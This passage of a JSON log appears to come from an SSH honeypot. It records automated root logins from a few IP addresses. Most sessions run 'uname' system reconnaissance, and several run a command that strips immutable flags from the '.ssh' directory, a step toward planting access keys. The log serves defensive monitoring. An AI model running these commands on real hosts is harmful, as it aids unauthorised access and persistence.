  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 589,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:12:32.222078+00:00",
  "ended_at": "2026-08-26T12:12:33.043134+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "9db5d0c2-42ee-4a2f-97bd-5fb44f56ed3b",
  "name": "somber-diligent-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 406,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:28.866140+00:00",
  "ended_at": "2026-08-26T12:12:33.024810+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b273d260-6ad4-4c7e-934f-589053b0588f",
  "name": "cunning-downy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:12:13.549712+00:00",
  "ended_at": "2026-08-26T12:12:17.308408+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9716eb80-e366-43d7-af52-5f328caadbbd",
  "name": "fearless-wooded-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 45716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:12:11.794104+00:00",
  "ended_at": "2026-08-26T12:12:13.690771+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e9e41b2b-b8c5-4fe9-ba4b-8ac5487b78ed",
  "name": "scarlet-mossy-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41916,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 491,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:11:19.426546+00:00",
  "ended_at": "2026-08-26T12:11:23.618262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cc5a118b-da67-4cd4-88db-dda248ba9a3e",
  "name": "steady-balmy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:10:41.639362+00:00",
  "ended_at": "2026-08-26T12:10:45.531013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ca237e0d-2ea6-4c6e-9a40-735d8434e047",
  "name": "tangled-smooth-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 563,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:08:28.860565+00:00",
  "ended_at": "2026-08-26T12:08:34.164494+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6582c68-f3b8-4f32-ab79-381bd27aa82a",
  "name": "sincere-coastal-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52654,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 436,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:06:51.054521+00:00",
  "ended_at": "2026-08-26T12:06:54.520584+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "664e78d3-35ec-44b7-9b49-bc4f656b6355",
  "name": "lanky-dapper-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47940,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 664,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:05:32.651374+00:00",
  "ended_at": "2026-08-26T12:05:36.555815+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "66456b19-8775-47e4-a8da-bbdb5b15ba84",
  "name": "reedy-amber-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43440,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:03:00.487932+00:00",
  "ended_at": "2026-08-26T12:03:05.313164+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2747a8d-c5a9-49e2-a646-526de9bb61f8",
  "name": "fringed-muted-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52220,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 606,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:48.174726+00:00",
  "ended_at": "2026-08-26T12:01:51.931693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5694d4a3-3a30-4e2b-b765-2ec7ecdb297f",
  "name": "tangled-misty-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37366,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:36.631353+00:00",
  "ended_at": "2026-08-26T12:01:41.767010+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8c7127e-580d-4cd4-8142-8d91100e8bd9",
  "name": "quaint-thorny-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 574,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:01:27.861920+00:00",
  "ended_at": "2026-08-26T12:01:31.042344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fbafc228-9063-4de1-adfc-b3ee45cf1507",
  "name": "mighty-thorny-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 439,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:00:15.595895+00:00",
  "ended_at": "2026-08-26T12:00:21.238263+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef00d923-8d5a-450a-8f25-bfa97294c879",
  "name": "cheerful-rambling-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46668,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:21.268175+00:00",
  "ended_at": "2026-08-26T11:59:26.842103+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cd2f85f2-89b3-46b4-bdb7-064e58e4b937",
  "name": "courtly-electric-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60100,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:59:04.942994+00:00",
  "ended_at": "2026-08-26T11:59:09.672388+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47114984-59ef-4eab-94f7-0ba206d94d83",
  "name": "jagged-bashful-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:58:22.323943+00:00",
  "ended_at": "2026-08-26T11:58:26.421248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6a721df4-21c9-46e3-8935-b1dbd789ebfe",
  "name": "windswept-muted-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56838,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:57:28.958102+00:00",
  "ended_at": "2026-08-26T11:57:32.766235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fafd0346-a92b-4a56-aa3a-e5094030a776",
  "name": "mossy-breezy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 573,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:57:11.509724+00:00",
  "ended_at": "2026-08-26T11:57:15.217341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "625c4537-99fc-4044-9937-06d760191d2b",
  "name": "drifting-sterling-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 552,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:59.179465+00:00",
  "ended_at": "2026-08-26T11:57:03.142668+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aeaec1c1-d1eb-45e5-b17f-16851b599125",
  "name": "knotted-merry-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 558,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:56:26.761907+00:00",
  "ended_at": "2026-08-26T11:56:30.824117+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a6c25b61-030a-4071-9e90-ee0ef194f6e3",
  "name": "bashful-lawful-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44498,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 860,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:56:22.503415+00:00",
  "ended_at": "2026-08-26T11:56:24.329787+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2205
 },
 {
  "id": "a8d6286d-a57f-48a1-9b89-b6f6722d4c3d",
  "name": "sincere-blazing-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44516,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:55:59.287138+00:00",
  "ended_at": "2026-08-26T11:56:00.225137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "81204ecb-c2b2-4628-b7f0-0e8c71cf14bb",
  "name": "austere-alpine-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59376,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 318,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:52.803719+00:00",
  "ended_at": "2026-08-26T11:55:56.086057+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9fda9627-803f-499d-a1df-e6373660a6d6",
  "name": "murky-humble-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 377,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:55:32.625996+00:00",
  "ended_at": "2026-08-26T11:55:35.506727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2f58a71a-2f4b-4c25-b583-f83acf2c9152",
  "name": "twilight-tangled-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:42.454381+00:00",
  "ended_at": "2026-08-26T11:54:46.923473+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c67a0514-b5a6-48e8-b71f-151ef940c2db",
  "name": "scarlet-amber-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 397,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:54:23.049019+00:00",
  "ended_at": "2026-08-26T11:54:29.249891+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "72340123-0afd-4c21-94bc-705c262a2b6a",
  "name": "western-blunt-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 44304,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 873,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:53:43.692781+00:00",
  "ended_at": "2026-08-26T11:53:45.296546+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "c16392a3-f58c-4749-856f-5da4fa2d32c6",
  "name": "merry-courtly-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 492,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:53:42.900343+00:00",
  "ended_at": "2026-08-26T11:53:45.998502+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6280af06-3d6f-4eaa-b46b-312c000c6645",
  "name": "glacial-golden-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 44320,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:53:18.997527+00:00",
  "ended_at": "2026-08-26T11:53:20.253583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd48fd0b-3487-491f-89c1-5de4a8b480e6",
  "name": "craggy-restless-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 437,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:52:10.504856+00:00",
  "ended_at": "2026-08-26T11:52:13.298172+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70f4eec8-e3ff-49b0-be25-9a78c31594f1",
  "name": "gilded-gloomy-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 673,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:51:10.299204+00:00",
  "ended_at": "2026-08-26T11:51:12.507066+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "511740a6-fc34-4dd5-9096-1b35bc08b3f5",
  "name": "spirited-snowy-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60772,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 535,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:41.142503+00:00",
  "ended_at": "2026-08-26T11:50:42.298509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d5f356b2-6a31-4891-ab1b-831bba85319c",
  "name": "rugged-subtle-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 523,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:50:13.663564+00:00",
  "ended_at": "2026-08-26T11:50:15.028277+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d7e53390-6316-4087-9fab-d6f875528779",
  "name": "buoyant-freckled-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40850,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1122,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:42.222966+00:00",
  "ended_at": "2026-08-26T11:49:43.352522+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "13b71b60-6fae-4a2a-9f2d-89dfb0e32348",
  "name": "wry-jolly-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 667,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:49:11.007632+00:00",
  "ended_at": "2026-08-26T11:49:12.993519+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "28a979a1-076d-4b25-be0a-65ba1e793d8f",
  "name": "airy-calm-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46536,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 357,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:29.196852+00:00",
  "ended_at": "2026-08-26T11:48:29.616009+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "84f9aede-b81a-4170-be06-8ba443a43ea7",
  "name": "dapper-golden-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:48:17.522609+00:00",
  "ended_at": "2026-08-26T11:48:19.153250+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "20b32771-c134-4910-b900-6a22d8e341d5",
  "name": "graceful-flinty-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35126,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 683,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:47:33.034875+00:00",
  "ended_at": "2026-08-26T11:47:33.416014+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "055ccea4-6834-47e4-bc28-2dbc64d4edd8",
  "name": "meadow-proud-kestrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "190.119.63.81",
  "src_port": 26112,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:24.645525+00:00",
  "ended_at": "2026-08-26T11:47:24.982661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0ad4000-30fe-4105-94c2-380e3128420c",
  "name": "muted-tender-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:47:11.865316+00:00",
  "ended_at": "2026-08-26T11:47:29.590076+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc5e6ab6-9d1f-4f0a-b553-edde53f9122f",
  "name": "dusky-murky-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54918,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 728,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T11:47:10.584190+00:00",
  "ended_at": "2026-08-26T11:47:29.591126+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "f7d9723b-5f85-4c76-b6e4-0d452896095e",
  "name": "wooded-amiable-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 36580,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 587,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:46:38.727558+00:00",
  "ended_at": "2026-08-26T11:46:40.939886+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "949d19fb-cc2f-454b-ae88-9ccf8f1e9195",
  "name": "cheerful-clever-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 43102,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 862,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:44.723066+00:00",
  "ended_at": "2026-08-26T11:37:45.896430+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "297dd5dd-940c-4ec1-8e0e-cdc4a634979f",
  "name": "gleaming-vernal-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 52474,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 943,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:37:43.080918+00:00",
  "ended_at": "2026-08-26T11:37:43.851050+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "ff668f3e-b80d-42c2-a70a-444800358796",
  "name": "twilight-cobalt-boar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47100,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:27.544494+00:00",
  "ended_at": "2026-08-26T11:37:28.911062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a66adb7a-e96e-4e29-8388-33c69b554bee",
  "name": "marbled-solemn-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 43120,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:37:20.496098+00:00",
  "ended_at": "2026-08-26T11:37:22.386219+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea3cf1e8-49bb-47b6-9a86-22b48b7b6619",
  "name": "opal-primal-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42904,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 870,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:34:56.688747+00:00",
  "ended_at": "2026-08-26T11:34:58.126427+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "9ae98c96-1d5a-4ff4-8301-5d9669b3949c",
  "name": "proud-lanky-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 42922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T11:34:36.988514+00:00",
  "ended_at": "2026-08-26T11:34:37.985590+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34f80c5d-ecc3-4c4c-8732-2facfc5f8ece",
  "name": "gnarled-airy-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 42708,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 844,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T11:32:10.883641+00:00",
  "ended_at": "2026-08-26T11:32:11.680381+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
